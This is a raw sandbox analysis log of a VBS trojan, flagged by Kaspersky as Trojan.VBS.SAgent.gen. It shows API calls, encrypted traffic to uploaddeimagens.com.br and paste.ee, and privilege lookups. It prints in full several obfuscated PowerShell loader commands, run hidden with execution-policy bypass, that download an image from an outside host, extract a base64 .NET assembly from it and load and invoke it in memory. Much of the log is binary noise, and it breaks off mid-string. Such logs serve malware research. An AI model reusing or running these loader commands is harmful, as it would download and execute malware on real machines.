PwCstartIndex;PwCbase64C'+'omm'+'and = P'+'wCimageText.Substri'+'ng(PwCstar'+'tIndex, Pw'+'Cbase64Length);PwCc'+'ommandBytes = [System.Convert]::FromBase64String(PwCbase64Command);PwCloadedAssembly = [System.Reflection.Assembly]::Load(PwCcommandBytes);PwCtype = Pw'+'CloadedAssembly.GetType('+'XQ'+'4Fiber.HomeXQ4);PwCmethod = PwCtype.GetMethod('+'XQ4VAIXQ4).I'+'nvoke(PwCnull, [obje'+'ct[]] (XQ4'+'dHh0LlJNUi80MjMzLzEzMS4zMy41NDIuMjcx'+'Ly'+'86cHR0aA==XQ4 , XQ4XQ4 , X'+'Q42XQ4 , XQ4re'+'gasmXQ4 , XQ45XQ4 , XQ4C:5cCWindows5cCTemp5cCXQ4, XQ4hkcmdfXQ4))') -crEPlAcE 'XQ4',[CHAR]39 -replACE '5cC',[CHAR]92-replACE ([CHAR]80+[CHAR]119+[CHAR]67),[CHAR]36) |INVOKE-EXpRession"
filepath_r:
stack_pivoted: 0
creation_flags: 0 ()
inherit_handles: 1
process_handle: 0x00000454
1 1 0
Kaspersky HEUR:Trojan.VBS.SAgent.gen
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Data received [
Data received WeL&íÍI~ý´•ÌdûÊTǚ'lÏR4µDOWNGRD “| EÈí¿ˆ¸ôÌ<&pJέ©'|çæ³_ ýÇQDÑÀ ÿ 
Data received Q
Data received “
Data received AžÌY$·¼9×ûöƒew ;ßmgò]¨ùrvU€?Ü´*´qf5{„Zmè¨dé :'¡Rgþ›ÕÝ÷ËxQïH0F!¢ÉEVNÞÝlx¥¯¤ŒænñCy*µî®ÂG'ýÉ!¬4Ú+mq:¡ˆ4mÁýEË;.Ê|/²gœ)³`
Data received 
Data received 
Data received 
Data received 
Data received 0
Data received qpAÑÓÐVñQðöș¹üMóÍ©äšó´Ä”ßhg”Ê=¿¬Jò„e¹ï“¾{íœ
Data sent yueL&åe› É!xFÄG‰ò»ÝSàE—Áq]©uk $/5 ÀÀÀ À 284ÿuploaddeimagens.com.br  
Data sent FBAúrÒn›@}¬Aˆ¤G•eÃ@DäÚês`_AÛ­Õy ês²z?H}Çx°ù¼Åki:…ŸTÖk¤]ß>¹0n#Ê"$í » G'Hwpx›P]ˆFuÕ¿‘Ý„à(?GX ¦î`r߶m¹¼N
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
Time & API Arguments Status Return Repeated

WSASend

 buffer: kgeL&ß3ß0'‘¾—פã ÐM&íÝåh`$æ”5/5 ÀÀÀ À 28&ÿ paste.ee  
socket: 600
0 0

WSASend

 buffer: FBA< YސõzåíÕÎLi”v´“è?s‡F¸HMêU@C{¡‹´cÍ.“ O&ÌÕia6°<{wf„1«s0|û$jÿv8iŽ&yý ?vñý³¸}O“›c ±W4i3>}›_¢§ƒÃJî
socket: 600
0 0

WSASend

 buffer: À6Tz”½9£®Óíýú[BS†ÌzŸ~Qaéü•íTª `¸PEJƒ§Ø|Öt<àÒ] žîRÞf~ÌÇX@]4*̺¾˜(Žê°µ\pe#„L-'ZRIï' Ô`ŒøèŽÕw’‹ÔDg’" €¶½âTÖð Vnp;[˜Äÿ×îÅKyì9õÍU‰V\þ«X8¶Ák/­§ÎóÄâ¹ K†|˜ïîïÂuÌS7S–i­õ¥aøæ½€F2Ҟ %:
socket: 600
0 0
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F81F111D0E5AB58D396F7BF525577FD30FDC95AA\Blob
Time & API Arguments Status Return Repeated

WSASend

 buffer: kgeL&ß3ß0'‘¾—פã ÐM&íÝåh`$æ”5/5 ÀÀÀ À 28&ÿ paste.ee  
socket: 600
0 0

WSASend

 buffer: FBA< YސõzåíÕÎLi”v´“è?s‡F¸HMêU@C{¡‹´cÍ.“ O&ÌÕia6°<{wf„1«s0|û$jÿv8iŽ&yý ?vñý³¸}O“›c ±W4i3>}›_¢§ƒÃJî
socket: 600
0 0

WSASend

 buffer: À6Tz”½9£®Óíýú[BS†ÌzŸ~Qaéü•íTª `¸PEJƒ§Ø|Öt<àÒ] žîRÞf~ÌÇX@]4*̺¾˜(Žê°µ\pe#„L-'ZRIï' Ô`ŒøèŽÕw’‹ÔDg’" €¶½âTÖð Vnp;[˜Äÿ×îÅKyì9õÍU‰V\þ«X8¶Ák/­§ÎóÄâ¹ K†|˜ïîïÂuÌS7S–i­õ¥aøæ½€F2Ҟ %:
socket: 600
0 0

send

 buffer: yueL&åe› É!xFÄG‰ò»ÝSàE—Áq]©uk $/5 ÀÀÀ À 284ÿuploaddeimagens.com.br  
socket: 1440
sent: 126
1 126 0

send

 buffer: FBAúrÒn›@}¬Aˆ¤G•eÃ@DäÚês`_AÛ­Õy ês²z?H}Çx°ù¼Åki:…ŸTÖk¤]ß>¹0n#Ê"$í » G'Hwpx›P]ˆFuÕ¿‘Ý„à(?GX ¦î`r߶m¹¼N
socket: 1440
sent: 134
1 134 0

WSASend

 buffer: GET /roots/dstrootcax3.p7c HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: apps.identrust.com
socket: 2016
0 0
parent_process powershell.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('PwCimageUrl = XQ4https://uploaddeimagens.com.br/images/004/654/536/original/new_image.jpg?1698957750XQ4;P'+'wCwebClient = Ne'+'w-Object System.Net.WebClient;PwCimageBytes = PwCwebClient.DownloadData(PwCimageUrl'+');PwCimageText = '+'[System.Text.Encod'+'ing]::UTF8.GetString(PwCimageBytes);PwCstartFlag = XQ4<<BASE64_S'+'TART>>XQ4;PwCendFlag = XQ4<<BASE64_END>>XQ4;PwCstartIndex = Pw'+'CimageText.IndexOf'+'(PwCstartFlag);PwCendIndex = PwCim'+'ageText.IndexOf(PwCendFlag);PwCstartIndex -ge '+'0 -and PwCendIndex -gt Pw'+'CstartIndex;PwCsta'+'rtIndex += PwCstartFlag.Length;PwCbase64Length '+'= PwCendI'+'ndex - PwCstartIndex;PwCbase64C'+'omm'+'and = P'+'wCimageText.Substri'+'ng(PwCstar'+'tIndex, Pw'+'Cbase64Length);PwCc'+'ommandBytes = [System.Convert]::FromBase64String(PwCbase64Command);PwCloadedAssembly = [System.Reflection.Assembly]::Load(PwCcommandBytes);PwCtype = Pw'+'CloadedAssembly.GetType('+'XQ'+'4Fiber.HomeXQ4);PwCmethod = PwCtype.GetMethod('+'XQ4VAIXQ4).I'+'nvoke(PwCnull, [obje'+'ct[]] (XQ4'+'dHh0LlJNUi80MjMzLzEzMS4zMy41NDIuMjcx'+'Ly'+'86cHR0aA==XQ4 , XQ4XQ4 , X'+'Q42XQ4 , XQ4re'+'gasmXQ4 , XQ45XQ4 , XQ4C:5cCWindows5cCTemp5cCXQ4, XQ4hkcmdfXQ4))') -crEPlAcE 'XQ4',[CHAR]39 -replACE '5cC',[CHAR]92-replACE ([CHAR]80+[CHAR]119+[CHAR]67),[CHAR]36) |INVOKE-EXpRession"
parent_process wscript.exe martian_process powershell -command "$Codigo = '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';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('CJWDZ','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
parent_process wscript.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'KCJWDZCJWDZoCJWDZCcCJWDZUCJWDZB3CJWDZEMCJWDZaQBtCJWDZGECJWDZZwBlCJWDZFUCJWDZcgBsCJWDZCCJWDZCJWDZPQCJWDZgCJWDZFgCJWDZUQCJWDZ0CJWDZGgCJWDZdCJWDZB0CJWDZHCJWDZCJWDZcwCJWDZ6CJWDZC8CJWDZLwB1CJWDZHCJWDZCJWDZbCJWDZBvCJWDZGECJWDZZCJWDZBkCJWDZGUCJWDZaQBtCJWDZGECJWDZZwBlCJWDZG4CJWDZcwCJWDZuCJWDZGMCJWDZbwBtCJWDZC4CJWDZYgByCJWDZC8CJWDZaQBtCJWDZGECJWDZZwBlCJWDZHMCJWDZLwCJWDZwCJWDZDCJWDZCJWDZNCJWDZCJWDZvCJWDZDYCJWDZNQCJWDZ0CJWDZC8CJWDZNQCJWDZzCJWDZDYCJWDZLwBvCJWDZHICJWDZaQBnCJWDZGkCJWDZbgBhCJWDZGwCJWDZLwBuCJWDZGUCJWDZdwBfCJWDZGkCJWDZbQBhCJWDZGcCJWDZZQCJWDZuCJWDZGoCJWDZcCJWDZBnCJWDZD8CJWDZMQCJWDZ2CJWDZDkCJWDZOCJWDZCJWDZ5CJWDZDUCJWDZNwCJWDZ3CJWDZDUCJWDZMCJWDZBYCJWDZFECJWDZNCJWDZCJWDZ7CJWDZFCJWDZCJWDZJwCJWDZrCJWDZCcCJWDZdwBDCJWDZHcCJWDZZQBiCJWDZEMCJWDZbCJWDZBpCJWDZGUCJWDZbgB0CJWDZCCJWDZCJWDZPQCJWDZgCJWDZE4CJWDZZQCJWDZnCJWDZCsCJWDZJwB3CJWDZC0CJWDZTwBiCJWDZGoCJWDZZQBjCJWDZHQCJWDZICJWDZBTCJWDZHkCJWDZcwB0CJWDZGUCJWDZbQCJWDZuCJWDZE4CJWDZZQB0CJWDZC4CJWDZVwBlCJWDZGICJWDZQwBsCJWDZGkCJWDZZQBuCJWDZHQCJWDZOwBQCJWDZHcCJWDZQwBpCJWDZG0CJWDZYQBnCJWDZGUCJWDZQgB5CJWDZHQCJWDZZQBzCJWDZCCJWDZCJWDZPQCJWDZgCJWDZFCJWDZCJWDZdwBDCJWDZHcCJWDZZQBiCJWDZEMCJWDZbCJWDZBpCJWDZGUCJWDZbgB0CJWDZC4CJWDZRCJWDZBvCJWDZHcCJWDZbgBsCJWDZG8CJWDZYQBkCJWDZEQCJWDZYQB0CJWDZGECJWDZKCJWDZBQCJWDZHcCJWDZQwBpCJWDZG0CJWDZYQBnCJWDZGUCJWDZVQByCJWDZGwCJWDZJwCJWDZrCJWDZCcCJWDZKQCJWDZ7CJWDZFCJWDZCJWDZdwBDCJWDZGkCJWDZbQBhCJWDZGcCJWDZZQBUCJWDZGUCJWDZeCJWDZB0CJWDZCCJWDZCJWDZPQCJWDZgCJWDZCcCJWDZKwCJWDZnCJWDZFsCJWDZUwB5CJWDZHMCJWDZdCJWDZBlCJWDZG0CJWDZLgBUCJWDZGUCJWDZeCJWDZB0CJWDZC4CJWDZRQBuCJWDZGMCJWDZbwBkCJWDZCcCJWDZKwCJWDZnCJWDZGkCJWDZbgBnCJWDZF0CJWDZOgCJWDZ6CJWDZFUCJWDZVCJWDZBGCJWDZDgCJWDZLgBHCJWDZGUCJWDZdCJWDZBTCJWDZHQCJWDZcgBpCJWDZG4CJWDZZwCJWDZoCJWDZFCJWDZCJWDZdwBDCJWDZGkCJWDZbQBhCJWDZGcCJWDZZQBCCJWDZHkCJWDZdCJWDZBlCJWDZHMCJWDZKQCJWDZ7CJWDZFCJWDZCJWDZdwBDCJWDZHMCJWDZdCJWDZBhCJWDZHICJWDZdCJWDZBGCJWDZGwCJWDZYQBnCJWDZCCJWDZCJWDZPQCJWDZgCJWDZFgCJWDZUQCJWDZ0CJWDZDwCJWDZPCJWDZBCCJWDZEECJWDZUwBFCJWDZDYCJWDZNCJWDZBfCJWDZFMCJWDZJwCJWDZrCJWDZCcCJWDZVCJWDZBBCJWDZFICJWDZVCJWDZCJWDZ+CJWDZD4CJWDZWCJWDZBRCJWDZDQCJWDZOwBQCJWDZHcCJWDZQwBlCJWDZG4CJWDZZCJWDZBGCJWDZGwCJWDZYQBnCJWDZCCJWDZCJWDZPQCJWDZgCJWDZFgCJWDZUQCJWDZ0CJWDZDwCJWDZPCJWDZBCCJWDZEECJWDZUwBFCJWDZDYCJWDZNCJWDZBfCJWDZEUCJWDZTgBECJWDZD4CJWDZPgBYCJWDZFECJWDZNCJWDZCJWDZ7CJWDZFCJWDZCJWDZdwBDCJWDZHMCJWDZdCJWDZBhCJWDZHICJWDZdCJWDZBJCJWDZG4CJWDZZCJWDZBlCJWDZHgCJWDZICJWDZCJWDZ9CJWDZCCJWDZCJWDZUCJWDZB3CJWDZCcCJWDZKwCJWDZnCJWDZEMCJWDZaQBtCJWDZGECJWDZZwBlCJWDZFQCJWDZZQB4CJWDZHQCJWDZLgBJCJWDZG4CJWDZZCJWDZBlCJWDZHgCJWDZTwBmCJWDZCcCJWDZKwCJWDZnCJWDZCgCJWDZUCJWDZB3CJWDZEMCJWDZcwB0CJWDZGECJWDZcgB0CJWDZEYCJWDZbCJWDZBhCJWDZGcCJWDZKQCJWDZ7CJWDZFCJWDZCJWDZdwBDCJWDZGUCJWDZbgBkCJWDZEkCJWDZbgBkCJWDZGUCJWDZeCJWDZCJWDZgCJWDZD0CJWDZICJWDZBQCJWDZHcCJWDZQwBpCJWDZG0CJWDZJwCJWDZrCJWDZCcCJWDZYQBnCJWDZGUCJWDZVCJWDZBlCJWDZHgCJWDZdCJWDZCJWDZuCJWDZEkCJWDZbgBkCJWDZGUCJWDZeCJWDZBPCJWDZGYCJWDZKCJWDZBQCJWDZHcCJWDZQwBlCJWDZG4CJWDZZCJWDZBGCJWDZGwCJWDZYQBnCJWDZCkCJWDZOwBQCJWDZHcCJWDZQwBzCJWDZHQCJWDZYQByCJWDZHQCJWDZSQBuCJWDZGQCJWDZZQB4CJWDZCCJWDZCJWDZLQBnCJWDZGUCJWDZICJWDZCJWDZnCJWDZCsCJWDZJwCJWDZwCJWDZCCJWDZCJWDZLQBhCJWDZG4CJWDZZCJWDZCJWDZgCJWDZFCJWDZCJWDZdwBDCJWD